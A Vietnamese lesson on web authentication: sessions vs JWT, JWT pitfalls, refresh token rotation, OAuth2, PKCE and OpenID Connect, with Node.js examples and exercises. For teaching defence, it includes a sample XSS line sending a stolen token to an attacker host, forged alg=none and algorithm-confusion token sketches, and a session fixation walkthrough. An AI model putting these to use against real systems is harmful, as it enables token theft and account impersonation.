devHọc Dev
EN
Bài học

Tuần 1 - Ngày 4: Sessions vs JWT, OAuth2 và OpenID Connect

Tuần 1 – Ngày 4

Bài này gộp 2 chủ đề: Sessions vs JWT, OAuth2 & OpenID Connect.

Mục tiêu học tập

  • Hiểu cách hoạt động của cookie session (server-side state) và các cờ bảo mật Secure, HttpOnly, SameSite
  • Hiểu cấu trúc JWT (header.payload.signature), khác nhau giữa HS256 và RS256
  • Nhận diện các pitfall phổ biến của JWT: alg=none, weak secret, no expiry, lưu ở localStorage
  • Áp dụng refresh token rotation và hiểu vấn đề token revocation
  • Quyết định khi nào dùng session, khi nào dùng JWT
  • Phân biệt authentication (OIDC) và authorization (OAuth2)
  • Hiểu 4 grant types của OAuth2 và chọn đúng cho từng use case
  • Nắm rõ Authorization Code + PKCE flow — mặc định hiện nay cho web/mobile/SPA
  • Phân biệt Access Token vs ID Token, scope vs audience
  • Tích hợp với providers phổ biến: Google, Auth0, Clerk, AWS Cognito

Phần 1: Sessions vs JWT

Flow cơ bản

┌────────┐┌─────────┐┌──────────┐│Browser││Server││Session││││││Store│└───┬────┘└────┬────┘└────┬─────┘││││POST/login{email,password}│││─────────────────────────────────────────────►││││CREATE│││session_id│││─────────────►│││││Set-Cookie:sid=abc123;HttpOnly;Secure│││◄─────────────────────────────────────────────││││││GET/meCookie:sid=abc123│││─────────────────────────────────────────────►││││LOOKUP│││─────────────►│││◄──userdata││200OK{user:{...}}│││◄─────────────────────────────────────────────││

Server lưu gì?

Redis/Postgres/MemoryStore:┌────────────────────────────────────────────┐│session_id→{user_id:42,││"abc123..."created:...,expires:...,││ip:"...",roles:[...]}│└────────────────────────────────────────────┘

Cookie chỉ chứa session_id (random ~128-bit, không có thông tin gì khác). Toàn bộ state ở server.

Set-Cookie: sid=abc123;
  HttpOnly;                  ← JS không đọc được → chống XSS đánh cắp cookie
  Secure;                    ← Chỉ gửi qua HTTPS → chống MITM
  SameSite=Lax;              ← Không gửi cross-site → chống CSRF
  Path=/;
  Max-Age=3600;
  Domain=app.example.com
FlagTác dụngKhuyến nghị
HttpOnlyCookie không truy cập được từ document.cookieBắt buộc
SecureChỉ gửi qua HTTPSBắt buộc (production)
SameSite=StrictKhông gửi với bất kỳ cross-site request nàoAn toàn nhất, có thể vỡ UX khi link từ Google
SameSite=LaxGửi với GET top-level navigation, không gửi POST cross-siteDefault tốt (mặc định của Chrome 80+)
SameSite=NoneCho phép cross-site (BẮT BUỘC kèm Secure)Chỉ khi cần (embed cross-origin)

Session fixation attack

1. Attacker truy cập site, server cấp sid=AAA
2. Attacker dụ victim click link với sid=AAA (qua URL hoặc XSS set cookie)
3. Victim login → server gắn sid=AAA với user của victim
4. Attacker dùng sid=AAA → đăng nhập với danh tính victim

Phòng chống: regenerate session ID sau khi login (req.session.regenerate() trong Express).

Pros / Cons của session

ProsCons
Revoke dễ: xóa entry trong storeCần session store (Redis/DB) → infra phức tạp hơn
Cookie nhỏ (chỉ id)Không trivially stateless → khó scale qua nhiều region
Có thể chứa data lớn server-sidePhụ thuộc cookie → khó với mobile native, cross-domain
Mature, well-understoodCần xử lý CSRF protection (CSRF token)

2. JWT — JSON Web Token

Cấu trúc

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsImV4cCI6MTcwMDAwMDAwMH0.signature└────────header─────────────────┘└───────────payload──────────────────┘└─signature─┘base64urlbase64urlbase64urlHeader(decoded):{"alg":"HS256","typ":"JWT"}Payload(decoded):{"sub":"12345",←subject=userid"iat":1700000000,←issuedat"exp":1700003600,←expiry(1h)"aud":"https://api.example",←audience"iss":"https://auth.example",←issuer"roles":["user"]}Signature:HMAC-SHA256(base64url(header)+"."+base64url(payload),secret)

Standard claims (RFC 7519)

ClaimÝ nghĩaVí dụ
issIssuer — ai phát hành"https://auth.example.com"
subSubject — user id"user_42"
audAudience — token dành cho service nào"https://api.example.com"
expExpiration time (Unix ts)1700003600
iatIssued at1700000000
nbfNot before1700000000
jtiJWT ID — unique id (để revoke)"uuid-v4"

HS256 vs RS256

HS256 (HMAC-SHA256):           RS256 (RSA-SHA256):
                                
Issuer:                         Issuer:
  sign with SHARED_SECRET         sign with PRIVATE_KEY
                                
Verifier:                       Verifier:
  verify with SHARED_SECRET       verify with PUBLIC_KEY
  (same secret as issuer)         (publishable)
HS256RS256
Loại keySymmetric (shared secret)Asymmetric (private/public)
Ai có thể verifyChỉ ai có secretBất kỳ ai có public key
Use caseCùng một service phát + verifyNhiều microservice verify token do auth-service phát
Token sizeNhỏ hơnLớn hơn (signature dài)
Khi compromiseMất secret → phát giả đượcMất private key → phát giả được; public key leak không sao

Microservices nên dùng RS256 + công bố jwks.json để service khác verify mà không chia sẻ secret.

Flow JWT điển hình

┌────────┐┌──────────┐┌──────────────┐│Browser││AuthSvc││ResourceAPI│└───┬────┘└────┬─────┘└──────┬───────┘││││POST/login{email,password}│││───────────────────────────────────────►││││signJWT││{access_token:"eyJ..."}│││◄───────────────────────────────────────││││││GET/api/orders│││Authorization:BearereyJ...│││──────────────────────────────────────────────────────────────►│││verifysignature│││checkexp,aud││200OK{orders:[...]}│││◄──────────────────────────────────────────────────────────────│

Resource API không cần gọi DB / auth service để verify — chỉ verify signature và kiểm claim. Đây là điểm hấp dẫn của JWT.

3. JWT Pitfalls

Pitfall 1: alg=none attack

// Attacker tự tạo JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = ""   // bỏ trống

// Nếu thư viện chấp nhận alg=none → token này pass verify

Phòng chống:

  • Whitelist alg cho phép: jwt.verify(token, secret, { algorithms: ["HS256"] })
  • KHÔNG để user kiểm soát alg

Pitfall 2: Algorithm confusion (RS256 → HS256)

// Server có RSA public key, dự kiến verify RS256
// Attacker đổi header thành alg=HS256
// Thư viện cũ: dùng public key làm HMAC secret
// → public key là public → attacker biết → sign được token giả

Phòng chống: luôn whitelist algorithms: ["RS256"] chứ không trust header.

Pitfall 3: Weak HMAC secret

// ❌ SAI
const secret = "secret";          // brute force trong 1 giây
const secret = "myapp_secret";    // dictionary attack
const secret = "abc123";

// ✅ ĐÚNG: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// hoặc dùng RS256 với key pair

Có công cụ hashcat / jwt_tool brute force weak HMAC secret từ token public.

Pitfall 4: No expiry / quá dài

// ❌ SAI
{ "sub": "u1" }                    // không có exp → token bất tử
{ "sub": "u1", "exp": +30 days }   // quá dài cho access token

// ✅ ĐÚNG
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate trên mỗi lần dùng

Pitfall 5: Lưu JWT trong localStorage

// ❌ SAI — XSS đọc được
localStorage.setItem("token", jwt);

// Bất kỳ <script> nào (kể cả 3rd party CDN bị compromise) đều có thể:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
StorageXSS đọc đượcCSRFNhận xét
localStorageCóKhôngNguy hiểm với XSS
sessionStorageCóKhôngTương tự localStorage
Cookie HttpOnlyKhôngCó (cần SameSite)An toàn nhất với JWT
Memory (JS variable)Có nhưng mất khi reloadKhôngOK cho short-lived access token

Khuyến nghị: cookie HttpOnly; Secure; SameSite=Lax. Nếu phải lưu trong JS, chỉ short-lived access token + refresh token trong cookie.

Pitfall 6: Token bloat

// ❌ SAI: nhét cả profile user vào payload
{
  "sub": "u1",
  "email": "...",
  "first_name": "...",
  "address": "...",
  "permissions": [/* 200 items */]
}

Payload JWT đi theo mọi request → tăng bandwidth. Chỉ nên chứa sub, exp, iat, role IDs ngắn.

4. Refresh Token Rotation

Vấn đề: token revocation

JWT stateless = không thể "xóa" khỏi server. Nếu user logout / device mất / leak:

  • Token vẫn hợp lệ đến exp
  • Phải có cách invalidate

Pattern: short access + long refresh, rotate refresh

1. Login → cấp:
   access_token  (exp = 15 min)   ← gửi mọi request
   refresh_token (exp = 30 days)  ← dùng để xin access mới

2. Access expire → gọi /refresh với refresh_token:
   - Server verify refresh_token
   - Cấp access_token mới
   - Cấp refresh_token mới (rotate)
   - Invalidate refresh_token cũ (đánh dấu trong DB)

3. Nếu attacker steal refresh_token và dùng:
   - Đầu tiên có thể thành công 1 lần
   - Khi user thật dùng refresh_token cũ → server phát hiện đã used
   - → Revoke toàn bộ session của user (force re-login)

Bảng so sánh thời gian sống

Token typeLifetimeLưu ở đâuRevocation
Access token (JWT)5-15 phútMemory / cookie HttpOnlyĐợi exp
Refresh token7-30 ngàyCookie HttpOnly (path=/refresh)Lưu trong DB, rotate, revoke được
Session id30 ngàyCookie HttpOnlyXóa entry trong store

Revocation list (denylist)

Cho trường hợp cần revoke access token trước hạn:

  • Lưu jti của token đã revoke trong Redis với TTL = exp
  • Mỗi request: verify JWT + check Redis denylist
  • Trade-off: mất tính stateless

5. Khi nào dùng Session vs JWT?

Tiêu chíSession (cookie)JWT
Single web app, same domainCó (đơn giản, an toàn)Overkill
SPA + REST API cùng domainCó (cookie HttpOnly)OK nhưng phải cẩn thận storage
Mobile native (iOS/Android)Khó (cookie awkward)Có (Bearer token)
Microservices nhiều regionKhó scale session storeCó (RS256 + JWKS)
Third-party API access—Có (OAuth2 access token)
Cần revoke ngay lập tứcCó (xóa session)Khó (cần denylist)
Cần đơn giản, ít infraCóPhức tạp hơn
Cross-domain SSOKhóCó (OIDC ID token)

Quy tắc thực tế: cho web app same-origin, dùng cookie session. Cho mobile / SPA + multi-service / SSO, dùng JWT (best practice: access trong memory, refresh trong cookie HttpOnly).

6. Code ví dụ

Express session với Redis

import express from "express";
import session from "express-session";
import { RedisStore } from "connect-redis";
import { createClient } from "redis";

const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

const app = express();
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,   // for signing cookie
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === "production",
    sameSite: "lax",
    maxAge: 1000 * 60 * 60,             // 1h
  },
}));

app.post("/login", async (req, res) => {
  // verify password ...
  req.session.regenerate(() => {        // chống session fixation
    req.session.userId = user.id;
    res.json({ ok: true });
  });
});

app.post("/logout", (req, res) => {
  req.session.destroy(() => res.json({ ok: true }));
});

JWT với jose (Node.js)

import { SignJWT, jwtVerify } from "jose";

const secret = new TextEncoder().encode(process.env.JWT_SECRET);   // ≥32 bytes

// Sign
async function signAccessToken(userId, roles) {
  return await new SignJWT({ roles })
    .setProtectedHeader({ alg: "HS256" })
    .setSubject(userId)
    .setIssuer("https://auth.example.com")
    .setAudience("https://api.example.com")
    .setIssuedAt()
    .setExpirationTime("15m")
    .sign(secret);
}

// Verify
async function verifyAccessToken(token) {
  const { payload } = await jwtVerify(token, secret, {
    issuer: "https://auth.example.com",
    audience: "https://api.example.com",
    algorithms: ["HS256"],   // ← whitelist quan trọng
  });
  return payload;
}

Phần 2: OAuth2 & OpenID Connect

1. OAuth2 là gì, không là gì?

OAuth2 là framework cho authorization: cho phép một ứng dụng (Client) truy cập resource thay mặt user, không cần biết password của user.

"OAuth2 không phải là protocol cho authentication"
                              ↑
              (nhưng nhiều người dùng nhầm như vậy)

OAuth2 trả lời: "Client này có được phép gọi API X thay mặt user Y không?" Không trả lời: "User này là ai?" → đó là việc của OIDC.

Ví dụ thực tế

Spotify muốn import playlist từ tài khoản YouTube của bạn:

❌ Không OAuth2:
   Spotify hỏi: "Cho tôi mật khẩu YouTube của bạn"
   → Bạn cho password đầy đủ → Spotify có thể đọc Gmail, xóa video...

✅ Có OAuth2:
   Spotify redirect bạn tới Google → bạn login với Google →
   Google hỏi: "Cho phép Spotify ĐỌC playlist YouTube?" →
   Bạn approve → Spotify nhận access token CHỈ cho scope youtube.readonly
   → Không biết password, không đọc Gmail được

4 vai trò trong OAuth2

┌──────────────┐┌──────────────────┐│Resource││Authorization││Owner││Server(AS)││(user)││e.g.accounts.││││google.com│└──────────────┘└──────────────────┘┌──────────────┐┌──────────────────┐│Client││ResourceServer││(Spotify)││(RS)││││YouTubeAPI│└──────────────┘└──────────────────┘
Vai tròLà ai (ví dụ)Trách nhiệm
Resource OwnerUser cuốiSở hữu dữ liệu, approve/deny truy cập
ClientApp của developerMuốn truy cập resource của user
Authorization ServerGoogle, Auth0, CognitoAuthenticate user, phát access token
Resource ServerAPI có dataVerify token, trả data theo scope

2. OAuth2 Grant Types

Grant typeUse caseStatus hiện nay
Authorization Code + PKCEWeb app, SPA, mobileDEFAULT
Client CredentialsMachine-to-machine (no user)OK
Refresh TokenRefresh access tokenOK (kèm grant khác)
Authorization Code (no PKCE)Server-side web confidentialVẫn dùng, nên thêm PKCE
Implicit(cũ) SPADEPRECATED (OAuth 2.1)
Resource Owner Password(cũ) trusted first-partyDEPRECATED
Device CodeTV, CLI không có browserOK

Client types

Confidential client: có thể giữ secret an toàn
  → Backend server (Node.js, Django, Rails)
  → Lưu client_secret trong env var

Public client: KHÔNG thể giữ secret
  → SPA (code đọc được từ browser)
  → Mobile app (decompile được)
  → CLI tool
  → BẮT BUỘC dùng PKCE

3. Authorization Code + PKCE Flow

PKCE là gì?

PKCE (Proof Key for Code Exchange, RFC 7636) chống authorization code interception attack: malicious app trên cùng device chặn authorization code trong redirect URL.

Trước PKCE chỉ confidential client dùng được Authorization Code vì cần client_secret. PKCE thay thế client_secret bằng one-time proof → public client dùng được.

Cách PKCE hoạt động

1. Client tự sinh:
   code_verifier  = random 43-128 ký tự (cryptographically random)
   code_challenge = BASE64URL( SHA256(code_verifier) )

2. Gửi code_challenge LÊN cùng authorization request
3. Khi exchange code lấy token, gửi code_verifier LÊN
4. AS verify: SHA256(code_verifier) == stored code_challenge?
   - Nếu attacker chặn code, không có code_verifier → không exchange được

Flow đầy đủ (web SPA + PKCE)

Actors:User──►Browser/SPA──►AuthServer──►API(Google/Auth0)Step1—Userclicks"Login"User──►Browser/SPAStep2—Browser/SPAgeneratesPKCE+statecode_verifier=random43-128chars(CSPRNG)code_challenge=BASE64URL(SHA256(code_verifier))state=random(CSRFtoken)Step3—Browser──►AuthServer:GET/authorize?client_id=spa&redirect_uri=https://app/cb&response_type=code&scope=openidprofileemail&state=xyz&code_challenge=abc...&code_challenge_method=S256Step4—AuthServer──►User:login+consentscreenStep5—Userapproves──►AuthServerStep6—AuthServer──►Browser:302redirectLocation:https://app/cb?code=AUTH_CODE&state=xyzStep7—Browser/SPAverifiesstate==xyz(CSRFcheck)Step8—Browser/SPA──►AuthServer:POST/tokengrant_type=authorization_codecode=AUTH_CODEclient_id=sparedirect_uri=https://app/cbcode_verifier=ORIGINAL_VERIFIERStep9—AuthSerververifies:SHA256(verifier)==storedchallenge?Onsuccess──►Browser:{access_token,id_token,refresh_token,expires_in:3600}Step10—Browser/SPA──►API:GET/api/meAuthorization:BearerACCESS_TOKENStep11—APIverifiestokensignature,iss,aud,exp,scopeOnsuccess──►Browser:{userdata}

Quan trọng: state parameter chống CSRF

// Client sinh state random trước khi redirect
const state = crypto.randomUUID();
sessionStorage.setItem("oauth_state", state);

// Trong callback, verify
const returnedState = new URL(location).searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
  throw new Error("State mismatch — possible CSRF");
}

4. Client Credentials Grant (M2M)

Khi không có user — service A gọi service B:

┌─────────┐┌──────────────┐┌─────────┐│Service││AuthServer││Service││A││││B│└────┬────┘└──────┬───────┘└────┬────┘││││POST/token│││grant_type=client_credentials│││client_id=svc-a│││client_secret=...│││scope=orders.read││├───────────────────────────────►││││││{access_token:"..."}│││◄───────────────────────────────┤││││GET/api/orders││Authorization:Bearer...│├─────────────────────────────────────────────────►│

Đặc điểm:

  • Không có user, không có ID token
  • Client phải là confidential (giữ được secret)
  • Scope hạn chế theo M2M

5. OpenID Connect — Identity Layer

OAuth2 trả lời "ai cho phép truy cập gì". OIDC mở rộng để trả lời "user này là ai".

Điểm khác biệt then chốt

OAuth2alone:ASphát:access_token(opaquehoặcJWT)→ClientgọiRSOIDC=OAuth2+IDToken:ASphát:access_token+IDToken(JWT)→Clientbiếtuserlàai│└──"Iauthenticateuser_42,email=alice@x.com"

Access Token vs ID Token

Access TokenID Token
Mục đíchAuthorize API callsAuthenticate user vào Client
AudienceResource Server (API)Client app
FormatOpaque hoặc JWTLuôn là JWT
Client có decode khôngKhông bắt buộcCó, đọc claims user
Gửi đến đâuAPI qua Authorization: BearerChỉ dùng trong Client
Claimsscope, exp, subsub, email, name, picture, exp

Nhớ: Đừng gửi ID Token qua Bearer header đến API. Đừng dùng ID Token để authorize. ID Token chỉ để Client biết user là ai.

Standard OIDC scopes

openid          ← BẮT BUỘC để kích hoạt OIDC, returns ID token
profile         ← name, family_name, given_name, picture, locale
email           ← email, email_verified
address         ← address claim
phone           ← phone_number, phone_number_verified
offline_access  ← refresh_token

Discovery endpoint

OIDC providers công bố metadata tại:

https://accounts.google.com/.well-known/openid-configuration

{
  "issuer": "https://accounts.google.com",
  "authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
  "token_endpoint": "https://oauth2.googleapis.com/token",
  "userinfo_endpoint": "https://openidconnect.googleapis.com/v1/userinfo",
  "jwks_uri": "https://www.googleapis.com/oauth2/v3/certs",
  "response_types_supported": ["code", "token", ...],
  "id_token_signing_alg_values_supported": ["RS256"]
}

Library OIDC tự fetch endpoint này → developer không hardcode URL.

6. Scope vs Audience

Scope — quyền hạn

scope="openidprofileemailorders.readorders.write"│└──permissionchoAPI"orders"

User thấy consent screen liệt kê scope → approve từng cái. Resource Server check scope trong access token để cho phép operation.

Audience — token gửi cho ai

{
  "iss": "https://auth.example.com",
  "sub": "user_42",
  "aud": "https://api.orders.example.com",   ← chỉ API này nên accept
  "scope": "orders.read"
}

Resource Server PHẢI verify aud claim:

// ❌ SAI: chỉ verify signature
jwt.verify(token, publicKey);

// ✅ ĐÚNG: verify audience
jwt.verify(token, publicKey, {
  audience: "https://api.orders.example.com",
  issuer: "https://auth.example.com",
});

Không verify aud → token cho API A có thể bị replay sang API B → confused deputy attack.

7. Providers phổ biến

ProviderLoạiĐặc điểm
GoogleOIDC, freePhổ biến cho social login
GitHubOAuth2 (không phải OIDC chuẩn)Cho developer tool, có userinfo riêng
Auth0OIDC, SaaSCustomizable, đắt khi scale lớn
ClerkOIDC + UI componentsDX tốt cho Next.js, free tier 10k MAU
AWS CognitoOIDCTích hợp sâu AWS, UX kém hơn
KeycloakOIDC, self-hostedOpen source, control hoàn toàn
OktaOIDC enterpriseSSO cho doanh nghiệp
Microsoft Entra IDOIDCAzure AD, B2B/B2C

Khi nào tự build vs dùng provider?

DÙNG PROVIDER khi:
- Team < 50 dev, không có security engineer chuyên trách
- Cần social login (Google/Facebook/Apple)
- Time-to-market quan trọng
- Compliance (SOC2, HIPAA) — provider đã certified

TỰ BUILD khi:
- Có yêu cầu compliance đặc biệt (gov, classified)
- Volume cực lớn (cost provider > engineer)
- Có security team
- Cần fully customize flow

8. Code ví dụ

Node.js với openid-client

// npm install openid-client
import * as client from "openid-client";

// 1. Discovery
const config = await client.discovery(
  new URL("https://accounts.google.com"),
  process.env.CLIENT_ID,
  process.env.CLIENT_SECRET   // bỏ nếu public client
);

// 2. Build authorization URL
const codeVerifier = client.randomPKCECodeVerifier();
const codeChallenge = await client.calculatePKCECodeChallenge(codeVerifier);
const state = client.randomState();

const authUrl = client.buildAuthorizationUrl(config, {
  redirect_uri: "https://app.example.com/callback",
  scope: "openid profile email",
  code_challenge: codeChallenge,
  code_challenge_method: "S256",
  state,
});

// Lưu codeVerifier + state vào session, redirect user

// 3. Trong callback handler
const tokens = await client.authorizationCodeGrant(config, currentUrl, {
  pkceCodeVerifier: codeVerifier,
  expectedState: state,
});

// tokens.access_token, tokens.id_token, tokens.refresh_token
const claims = tokens.claims();
console.log("User:", claims.sub, claims.email);

SPA với PKCE (browser flow)

// 1. Generate PKCE pair
async function sha256(str) {
  const buf = new TextEncoder().encode(str);
  const hash = await crypto.subtle.digest("SHA-256", buf);
  return btoa(String.fromCharCode(...new Uint8Array(hash)))
    .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}

const verifier = crypto.randomUUID() + crypto.randomUUID();
const challenge = await sha256(verifier);
const state = crypto.randomUUID();

sessionStorage.setItem("pkce_verifier", verifier);
sessionStorage.setItem("oauth_state", state);

// 2. Redirect
const params = new URLSearchParams({
  client_id: "spa-client",
  redirect_uri: "https://app/callback",
  response_type: "code",
  scope: "openid profile email",
  code_challenge: challenge,
  code_challenge_method: "S256",
  state,
});
location.href = `https://auth.example.com/authorize?${params}`;

// 3. Callback handler
const url = new URL(location);
const code = url.searchParams.get("code");
const returnedState = url.searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
  throw new Error("State mismatch");
}

const res = await fetch("https://auth.example.com/token", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    grant_type: "authorization_code",
    client_id: "spa-client",
    code,
    redirect_uri: "https://app/callback",
    code_verifier: sessionStorage.getItem("pkce_verifier"),
  }),
});
const tokens = await res.json();

Câu hỏi ôn tập

  1. Tại sao cookie chứa session id cần cả 3 cờ HttpOnly, Secure, SameSite?

    Xem đáp án

    Mỗi cờ chống một loại tấn công: HttpOnly → JS không đọc được document.cookie, nên XSS không lấy được session id. Secure → cookie chỉ gửi qua HTTPS, chống man-in-the-middle nghe lén trên Wi-Fi public. SameSite=Lax/Strict → cookie không gửi với cross-site POST request, chống CSRF. Thiếu một trong ba là vector tấn công còn mở.

  2. JWT alg=none attack hoạt động thế nào và phòng chống ra sao?

    Xem đáp án

    Attacker tạo JWT với header {"alg":"none"} và signature trống. Thư viện JWT cũ (hoặc cấu hình sai) trust header và chấp nhận token không signature → attacker giả mạo bất kỳ user nào. Phòng chống: luôn whitelist algorithm khi verify, ví dụ jwt.verify(token, secret, { algorithms: ["HS256"] }). KHÔNG đọc alg từ header để chọn cách verify.

  3. Sự khác biệt cốt lõi giữa HS256 và RS256, khi nào nên dùng RS256?

    Xem đáp án

    HS256 dùng symmetric secret — issuer và verifier cùng chia sẻ một secret → chỉ phù hợp khi cùng một service phát và verify. RS256 dùng key pair (private/public) — issuer sign bằng private key, verifier dùng public key (công bố qua JWKS) → nhiều microservice verify được mà không chia sẻ secret. Dùng RS256 cho hệ thống microservices, SSO, OIDC. Dùng HS256 cho monolith đơn giản.

  4. Vì sao lưu JWT trong localStorage là rủi ro, và alternative là gì?

    Xem đáp án

    localStorage accessible từ JavaScript → bất kỳ XSS nào (kể cả qua npm package compromise hoặc CDN bị hack) đều đọc được token và gửi đi. Alternative tốt nhất: cookie HttpOnly; Secure; SameSite=Lax cho refresh token (JS không đọc được) + access token short-lived (5-15 phút) trong memory JS. Khi tab đóng, access token mất → cần refresh, refresh nằm trong cookie an toàn.

  5. Refresh token rotation phát hiện token bị steal bằng cách nào?

    Xem đáp án

    Mỗi lần dùng refresh token để xin access mới, server invalidate refresh cũ (đánh dấu used trong DB) và cấp refresh mới. Nếu attacker steal refresh token và dùng trước user thật, attacker được token mới — nhưng khi user thật dùng refresh cũ, server phát hiện token cũ đã used → biết có attack → revoke toàn bộ session của user, force re-login. Pattern này tự phát hiện compromise mà user không cần báo.

  6. OAuth2 và OIDC khác nhau như thế nào? Nếu chỉ cần "social login" để biết user là ai, dùng cái nào?

    Xem đáp án

    OAuth2 là framework cho authorization — Client xin phép user truy cập resource. Nó không định nghĩa user identity, không có chuẩn để biết "user là ai". OIDC xây trên OAuth2, thêm ID Token (JWT) chứa claims user (sub, email, name) → biết user là ai. Để social login, luôn dùng OIDC (scope openid + lấy ID token). Dùng OAuth2 thuần để gọi API của bên thứ 3 thay mặt user (Spotify đọc YouTube playlist).

  7. Tại sao SPA hiện nay phải dùng PKCE thay vì Implicit grant?

    Xem đáp án

    Implicit grant trả access token thẳng trong URL fragment → token leak qua browser history, referer header, log server proxy. Không có protection cho code interception trên cùng device. Authorization Code + PKCE trả về code ngắn hạn (one-time use), exchange thành token qua POST riêng. PKCE thay thế client_secret bằng one-time code_verifier → public client (SPA, mobile) vẫn an toàn. OAuth 2.1 chính thức deprecate Implicit.

  8. ID Token có thể dùng để gọi API không? Tại sao?

    Xem đáp án

    Không. ID Token có aud = client app, không phải API. Nó chỉ chứng minh "user X đã authenticate vào client Y" cho client biết. Gửi ID token đến API là sai mẫu vì: (1) API không nên trust một token có aud không phải mình, (2) ID Token thường có thông tin nhạy cảm (email, name) không nên gửi mọi API call, (3) ID Token thường có lifetime dài hơn access token. Luôn dùng access token cho API calls.

  9. Resource Server cần verify những claim nào của access token JWT?

    Xem đáp án

    Tối thiểu: (1) Signature — verify bằng public key từ JWKS endpoint của AS, (2) iss — issuer phải là AS được trust, (3) aud — audience phải là RS này (chống confused deputy: token cho API A bị dùng cho API B), (4) exp — chưa hết hạn, (5) scope — đủ permission cho operation. Tùy chọn: nbf (not before), jti (check denylist nếu cần revoke). Skip bất kỳ cái nào trong 5 cái đầu là lỗ hổng.

  10. Khi nào dùng Client Credentials grant?

Xem đáp án

Khi không có user — machine-to-machine. Ví dụ: service A backend (gọi bằng cron) gọi API service B; data pipeline ETL gọi public API; webhook backend của vendor X push data đến API của bạn. Client phải là confidential (giữ được client_secret). Không có ID token, không có refresh token. Token thường có scope hạn chế cho M2M (vd: analytics.read). KHÔNG dùng cho user-facing app vì không capture được consent của user.

Bài tập thực hành

Phần 1: Sessions vs JWT

# 1. JWT decode bằng tay
# Lấy một JWT (từ jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"

# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}

# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}

# 2. Tự ký JWT với jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose

cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";

const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");

const jwt = await new SignJWT({ role: "user" })
  .setProtectedHeader({ alg: "HS256" })
  .setSubject("user-42")
  .setIssuedAt()
  .setExpirationTime("15m")
  .sign(secret);

console.log(jwt);
EOF

node sign.mjs

# 3. Mở https://jwt.io, paste token, quan sát decode

# 4. Thử alg=none attack:
# - Tạo JWT mới với header alg=none
# - Bỏ signature
# - Verify với thư viện → quan sát thư viện modern (jose) reject

# 5. Setup Express session với Redis
docker run -d -p 6379:6379 redis
# Code Express session demo ở section 6, test cookie với DevTools

Phần 2: OAuth2 & OpenID Connect

# 1. Đăng ký Google OAuth client
# - Truy cập https://console.cloud.google.com/apis/credentials
# - Tạo OAuth client ID, type = Web application
# - Authorized redirect URIs: http://localhost:3000/callback

# 2. Setup demo với openid-client
mkdir oidc-lab && cd oidc-lab
npm init -y
npm install openid-client express

# 3. Tạo server demo (xem code ở section 8)

# 4. Khi callback, in ra:
# - access_token (gửi tới API)
# - id_token (decode tại jwt.io, xem claims sub, email, name)
# - refresh_token (nếu xin offline_access)

# 5. Verify ID token signature
# - Fetch jwks_uri của Google
# - Verify ID token với jose library
# - Verify aud == client_id, iss == "https://accounts.google.com"

# 6. Thử Auth0 free tier:
# - Đăng ký auth0.com
# - Tạo Application type = SPA (sẽ enforce PKCE)
# - Dùng @auth0/auth0-spa-js trong frontend

# 7. Quan sát discovery endpoint:
curl https://accounts.google.com/.well-known/openid-configuration | jq
curl https://YOUR_DOMAIN.auth0.com/.well-known/openid-configuration | jq

Tài liệu tham khảo


Bài tiếp theo →